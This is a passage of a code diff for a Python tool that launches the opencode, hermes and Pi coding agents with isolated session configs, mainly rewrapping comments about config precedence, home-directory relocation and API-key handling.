pin- # would silently lose to a repo config. Carry it in OPENCODE_CONFIG_CONTENT, which- # outranks project config; the API key stays in the private file, never the env.- # Only the config fallback carries a permission. Native --auto omits it (auto-approve- # asks, keep explicit denies); a non-yolo session omits it too, honoring project rules.- # V1 filters are ordinary overlays, so scope that session to our provider. V2 turns- # filters into security policies where global/project rules intentionally win; keep- # those policies intact and tell the user above that they must allow our provider.- # small_model is opencode's separate model for lightweight tasks; pin it to the- # session model too, or a user/project small_model on another (now filtered)- # provider would resolve a not-found error mid-session. The session serves one- # model, so the session model is the only valid target here anyway.+ # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model pin would silently lose to a repo config; carry it in OPENCODE_CONFIG_CONTENT, which outranks project config, while the API key stays in the private file. Only the config fallback carries a permission: native --auto omits it (auto-approve asks, keep explicit denies) and a non-yolo session omits it too, honoring project rules. V1 filters are ordinary overlays, so scope that session to our provider; V2 turns filters into security policies where global/project rules intentionally win, so keep those policies intact and tell the user above that they must allow our provider. small_model is opencode's separate model for lightweight tasks; pin it to the session model too, or a user/project small_model on another (now filtered) provider would resolve a not-found error mid-session.inline_config: dict = {"model": opencode_model,"small_model": opencode_model,@@ -5724,8 +5176,7 @@ def hermes(),)with _session_config("hermes", launch, persist = persist) as home:- # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)- # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.+ # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state) like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.write_hermes_config(base, entry, home / "config.yaml")env = {_HERMES_ENV_KEY: key, "HERMES_HOME": str(home)}_run(base, entry, env, command, launch = launch, install_hint = install_hint)@@ -5824,9 +5275,7 @@ def pi(clear_screen = True,)return- # Pi defaults to the google provider, so pin our provider/model on the command- # line; the custom OpenAI-compatible endpoint itself is only configurable via- # ~/.pi/agent/models.json.+ # Pi defaults to the google provider, so pin our provider/model on the command line; the custom OpenAI-compatible endpoint itself is only configurable via ~/.pi/agent/models.json.command = ["pi","--provider",@@ -5836,30 +5285,19 @@ def pi(*_yolo_command_flags("pi", yolo),*ctx.args,]- # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs- # no install scripts), so accepting the prompt skips dependency lifecycle scripts.+ # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs no install scripts), so accepting the prompt skips dependency lifecycle scripts.with _session_config("pi", launch, persist = persist) as home:- # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers- # it over $HOME/.pi/agent), so pin it at the session dir: an inherited- # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real- # config and skip our provider/key. HOME is relocated too so any other ~/.pi paths- # stay in the session. The key rides in the config rather than the env.+ # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers it over $HOME/.pi/agent), so pin it at the session dir: an inherited PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real config and skip our provider/key. HOME is relocated too so any other ~/.pi paths stay in the session. The key rides in the config rather than the env.pi_agent_dir = home / ".pi" / "agent"write_pi_config(base, key, entry, pi_agent_dir / "models.json")env = {"HOME": str(home), "PI_CODING_AGENT_DIR": str(pi_agent_dir)}if os.name == "nt" or os.environ.get("WSL_DISTRO_NAME"):- # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows,- # not HOME. Set them whenever Pi may run as a Windows process: native Windows,- # or a /mnt Windows shim launched from WSL (the WSLENV bridge then translates- # the path). Otherwise the Windows process falls back to the user's real- # %USERPROFILE%\.pi. splitdrive yields no drive off a POSIX path, so- # HOMEDRIVE/HOMEPATH stay unset there.+ # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows, not HOME. Set them whenever Pi may run as a Windows process: native Windows, or a /mnt Windows shim launched from WSL, where the WSLENV bridge then translates the path. Otherwise the Windows process falls back to the user's real %USERPROFILE%\\.pi. splitdrive yields no drive off a POSIX path, so HOMEDRIVE/HOMEPATH stay unset there.env["USERPROFILE"] = str(home)drive, tail = os.path.splitdrive(str(home))if drive:env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail- # Pi paints inline from the current cursor position (no alternate screen,- # no clear on first render), so give it the clean screen it assumes.+ # Pi paints inline from the current cursor position (no alternate screen, no clear on first render), so give it the clean screen it assumes._run(base,entry,